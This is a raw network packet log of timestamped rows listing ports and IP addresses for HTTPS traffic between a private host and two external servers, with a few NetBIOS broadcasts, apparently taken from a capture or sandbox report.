Jan 11, 2025 07:54:34.633404016 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.633481026 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.633652925 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.633728027 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.633866072 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.634037018 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.634103060 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.634121895 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.634212017 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.634329081 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.634418964 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.634463072 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.634494066 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.634566069 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.634687901 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.634809017 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.634927988 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.635049105 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.635154963 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.635294914 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.635380030 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.635498047 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.635622978 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.635744095 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.635797977 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.635919094 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.635999918 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.636140108 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.636260986 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.636370897 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.636466980 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.636589050 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.636652946 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.636723995 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.636831999 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.636954069 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.637000084 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.637062073 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.637428999 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.637437105 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.637604952 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.637660027 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.637845039 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.637896061 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.638066053 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.638138056 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.638156891 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.647408009 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.647670031 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.647706032 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.647876978 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.648047924 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.648082018 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.648283005 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.648317099 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.648405075 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.648521900 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.648643970 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.648765087 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.648889065 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.648996115 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.649087906 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.649168015 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.649302959 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.649323940 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.649507046 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.649558067 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.649650097 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.649769068 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.649889946 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.649955034 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.650046110 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.650140047 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.650285959 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.650403976 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.650532007 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.650614023 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.650732994 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.650824070 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.650871038 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.651017904 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.651102066 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.651278973 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.651371956 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.651489973 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.651571035 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.651693106 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.651818991 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.651933908 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.651954889 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.652060032 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.652252913 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.655153036 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.655339956 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.655415058 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.655621052 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.655657053 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.655822039 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.655879021 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.656090975 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.656126022 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.656158924 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.656255007 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.656275988 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.663078070 CET	61038	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.671603918 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.675657034 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.675698996 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.675887108 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.675930023 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.676120996 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.676162004 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.676254988 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.676376104 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.676445961 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.676484108 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.676615953 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.676739931 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.676810980 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.676898003 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.676991940 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.677098989 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.677233934 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.677309990 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.677432060 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.677553892 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.677678108 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.677799940 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.678044081 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.678083897 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.678128958 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.678185940 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.678303957 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.678436995 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.678563118 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.678646088 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.678837061 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.678982019 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.679017067 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.679122925 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.679205894 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.679303885 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.679390907 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.679438114 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.679524899 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.679651022 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.679770947 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.679789066 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.679891109 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.680010080 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.680133104 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.680248976 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.680371046 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.680491924 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.680609941 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.680735111 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.680864096 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.680946112 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.680999994 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.681098938 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.681217909 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.681337118 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.681982040 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.683212042 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.683299065 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.683419943 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.683509111 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.683638096 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.683725119 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.683854103 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.683862925 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.683976889 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.684103966 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.684222937 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.692877054 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.692922115 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.693083048 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.693116903 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.693147898 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.693350077 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.693389893 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.693468094 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.693569899 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.693605900 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.693762064 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.693850994 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.693952084 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.694053888 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.694174051 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.694312096 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.694405079 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.694406033 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:54:34.694406033 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:54:34.694406033 CET	137	137	192.168.11.20	192.168.11.255
Jan 11, 2025 07:54:34.694436073 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.694567919 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.694657087 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.694783926 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.694900036 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.695034027 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.695204973 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.695324898 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.695382118 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.695547104 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.695684910 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.695693970 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.695734024 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.695930004 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.695987940 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.696118116 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.696306944 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.696329117 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.701503038 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.701838970 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.701917887 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.702043056 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.702152014 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.702270985 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.702430964 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.702538013 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.702574968 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.702657938 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.702830076 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.702872038 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.702971935 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.703083992 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.703212976 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.703382969 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.703505993 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.703522921 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.703625917 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.703733921 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.703865051 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.703995943 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.711478949 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.711522102 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.711710930 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.711754084 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.711939096 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.711985111 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.711992025 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.712085009 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.712259054 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.712301016 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.712483883 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.712524891 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.712748051 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.712852001 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.712943077 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.713296890 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.717694998 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.717730045 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.717896938 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.718014956 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.718105078 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.718177080 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.718302011 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.718417883 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.718543053 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.718719959 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.719832897 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.722413063 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.722455025 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.722621918 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.722665071 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.722825050 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.722882986 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.722920895 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.723028898 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.723191977 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.723236084 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.723408937 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.729975939 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.730168104 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.730367899 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.730411053 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.730595112 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.730698109 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.730824947 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.730937004 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.731060982 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.731182098 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.731678009 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.743122101 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.743277073 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.743413925 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.743422985 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.743519068 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.743681908 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.743716002 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.743746996 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.743973970 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.743989944 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.744035959 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.744138956 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.744263887 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.744373083 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.744467020 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.744590044 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.744648933 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.744757891 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.744860888 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.744976997 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.745024920 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.745157003 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.745266914 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.745368004 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.745474100 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.745593071 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.745707989 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.745840073 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.745958090 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.746078968 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.746171951 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.746191025 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.746325970 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.746449947 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.746474028 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.746493101 CET	443	61038	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.747843027 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.748069048 CET	50687	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:34.748179913 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.748202085 CET	443	50687	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:34.748483896 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.748603106 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.748722076 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.748847008 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.748955011 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.749084949 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.749206066 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.749320030 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.749319077 CET	65192	443	192.168.11.20	23.213.53.31
Jan 11, 2025 07:54:34.749435902 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.749571085 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.754285097 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.754381895 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.754509926 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.754628897 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.754751921 CET	443	65192	23.213.53.31	192.168.11.20
Jan 11, 2025 07:54:34.754872084 CET	443	65192	23.213.53.31	192.168.11.20
